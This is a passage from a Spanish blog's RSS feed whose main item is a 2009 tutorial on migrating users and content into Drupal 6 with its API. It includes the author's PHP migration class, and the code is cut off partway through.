<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Migración de datos en Drupal</title>
		<link>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/</link>
		<comments>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:25:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[drupal 6]]></category>
		<category><![CDATA[migracion]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plataformas]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=926</guid>
		<description><![CDATA[Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc. La idea de este artículo es [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-986 alignleft" style="margin: 5px;" title="drupal_migra" src="http://blog.zerial.org/wp-content/uploads/2009/10/drupal_migra.jpg" alt="drupal_migra" width="80" height="104" /> <a href="http://drupal.org" target="_blank">Drupal</a> 6 nos provee de una <a href="http://api.drupal.org" target="_blank">API</a> que nos permitirá trabajar directamente con el <em>core</em>, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los <em>hooks</em>, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.<br />
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.</p>
<p><span id="more-926"></span></p>
<p>Las funciones que necesitamos de la API de Drupal son:</p>
<ol>
<li><strong><a href="http://api.drupal.org/api/function/user_save/6" target="_blank">user_save()</a></strong>: Permite la manipulación de los usuarios.</li>
<li><strong><a href="http://api.drupal.org/api/function/node_save/6" target="_blank">node_save()</a></strong>: Manipulación de los nodos (contenidos).</li>
<li><strong><a href="http://api.drupal.org/api/function/db_query/6" target="_blank">db_query()</a></strong>: Nos permite realizar consultas a la base de datos usando la configuración de Drupal.</li>
</ol>
<p>Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un &#8220;wrapper&#8221; que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla <strong>usuarios</strong> con los tipicos campos <em>nombre, email, usuario, password</em>, en Drupal la estructura de la tabla <em>{users}</em> es similar, contiene los campos <em>email, name y pass</em> (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un <strong>SELECT email, password, usuario FROM usuarios</strong> y hacer que cada registro que lea, lo inserte en la tabla <em>{users}</em> mediante la API (función user_save()).<br />
Ejemplo:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$var1</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT email,password,usuario FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$data</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$var1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="re0">$userdata</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;usuario&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$userdata</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo <em>userdata</em> el valor <strong>$data['password']</strong> a la variable <em>pass</em>. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave <em>fake</em>, por ejemplo <strong>123456</strong> y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).</p>
<p>Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función <em>node_save</em>.<br />
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (<strong>no lo recomiendo</strong>).</p>
<p>Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/chdir"><span class="kw3">chdir</span></a><span class="br0">&#40;</span><span class="st0">&quot;api/&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include_once</span> <span class="st0">&#8216;api/includes/bootstrap.inc&#8217;</span>;</div>
</li>
<li class="li2">
<div class="de2">drupal_bootstrap<span class="br0">&#40;</span>DRUPAL_BOOTSTRAP_FULL<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">class</span> Drupal<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$user</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$id_uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="re0">$counter</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">&#8216;users&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;news&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">clearDatabase</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> clearDatabase<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_queries</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;users&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_users WHERE name != <span class="es0">\&#8217;</span>admin<span class="es0">\&#8217;</span> AND name != <span class="es0">\&#8217;</span>asdf<span class="es0">\&#8217;</span>&#8216;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;nodes&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_node WHERE type NOT IN (<span class="es0">\&#8217;</span>intro<span class="es0">\&#8217;</span>, <span class="es0">\&#8217;</span>adminpage<span class="es0">\&#8217;</span>)&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_comments&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms_rel&#8217; =&gt; &#8216;DELETE FROM dp_term_node&#8217;,</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms&#8217; =&gt; &#8216;DELETE FROM dp_term_data WHERE tid NOT IN (3, 6)&#8217;,</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_uid&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_uid&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_ancestry&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_ancestry&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_notifications&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_notifications&#8217;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting_country&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting_country&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_queries</span> <span class="kw1">as</span> <span class="re0">$query</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createUser<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar_base_path</span> = <span class="st0">&quot;sites/default/files/pictures/&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar</span> = <span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;usuarioSinAV.jpg&quot;</span><span class="br0">&#41;</span>?<span class="kw2">NULL</span>:<span class="re0">$_avatar_base_path</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_user</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;access&#8217;</span> =&gt; <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;username&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_nombres&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;nombres&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_apellido&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;apellidos&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_intereses&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;about&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profesion&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;profesion&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user</span> = user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$_user</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setPassword<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;password&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setUserRole($user-&gt;uid);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_configureProfile<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;admin&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> self::_setAdmin<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">user</span> = &amp;<span class="re0">$user</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span> = <span class="re0">$user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createContent<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span> = <span class="kw2">new</span> stdClass<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">type</span> = <span class="re0">$type</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">uid</span> = <span class="re0">$this</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">name</span> = <span class="re0">$user</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">name</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">promote</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">format</span> = FILTER_FORMAT_DEFAULT;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">status</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">title</span> = <a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;titulo&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">body</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;cuerpo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
